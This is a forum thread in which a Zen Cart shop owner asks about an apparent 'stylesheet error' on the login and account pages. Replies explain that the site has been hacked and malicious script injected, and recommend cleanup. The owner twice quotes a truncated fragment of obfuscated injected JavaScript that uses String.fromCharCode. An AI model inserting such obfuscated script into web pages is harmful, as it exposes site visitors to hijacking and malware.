How to fix stylesheet errors? -PureGreen

I recently installed Zen Cart 1.3.9h and have been editing all of the files to prepare the site to go live. I have not yet added products and/or categories yet because I wanted to get the e-commerce site ready to go. Now that I made some changes to the text on pages and changed the template named "PureGreen Free Zen Cart template" from 12leaves.com I noticed that I am now getting an error message at the top of some pages.

The error message that I am getting is as follows:

0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var ucyq=null;var r=document.styleSheets;for(var i=0;i

I am getting this message on the following pages:

My Account
Login
Register
Contact Us

I found that the styleSheets error message appears even after changing the site template back to the original template (default) that came pre-installed with Zen Cart.

Can anyone please point me in the right direction to fix this?

Thanks.

What are you using to edit the files?

I have been using Notepad after downloading the files to my computer. I have also used the built-in html / plain text editor online.

There is some mis editing happening
Seeing your site might help

Thank you for willing to look at the site. The URL is:

www.cocolamuscreek.com/shop/

Look at the source code of any page of your site. What is all that stuff in the body ? Did you put it there ?

NOTE: Avast Anti Virus BLOCKED access to website..
Reason given...Trojan Horse present

Clean your access station

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misty:

NOTE: Avast Anti Virus BLOCKED access to website..
Reason given...Trojan Horse present

That is odd that it gave a message about blocked access. I am using Firefox 3.6 and Internet Explorer 9 and have not received any messages.

Prior to setting up Zen-Cart, there was a installation of osCommerce which got hacked and while we were working on cleaning the site up we got notified that the osCommerce directory needed to be completely removed including databases. I then removed osCommerce and all SQL databases, but google still believes the site is hacked. We have verified with engineers that the site is clean and is no longer a risk/threat. We will not be returning to osCommerce and plan to only use Zen-Cart.

I am currently working with Google to unblock the site (domain) in their systems.

stevesh:

Look at the source code of any page of your site. What is all that stuff in the body ? Did you put it there ?

Thank you for your post. I reviewed the text and it was in there after installing Zen-Cart. I un-installed and then re-installed the Zen-Cart software and set up a template from "zenflavor.com".

It appears that long strand of code only appears in the files which I named above in my post that are getting the error message of:

0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var my=null;var r=document.styleSheets;for(var i=0;i

Do you have any suggestions on how to fix this?

You need to go to the main page and click on "CLICK HERE - Recovering from Hacks."
You have a frame on your login that is hijacking visitors and probably installing malware.
:no:

Do you have any suggestions on how to fix this?
Determine the source

If zenflavor or if form your possibly infected local pc

The okd addage "garbage In - - garbage Out" holds here

It is not in the sanctioned ZenCart distribution

dbltoe:

You need to go to the main page and click on "CLICK HERE - Recovering from Hacks."
You have a frame on your login that is hijacking visitors and probably installing malware.
:no:

Thank You! I think I will delete it and go with an expensive shopping cart software program versus using an open-source application.

Make sure your server (and your pc) is completely clean before you do, or the hacker may have access to that expensive system just as it did with Zen Cart when you installed it. Being a paid "expensive" system does not necessarily give immunity from all hacks.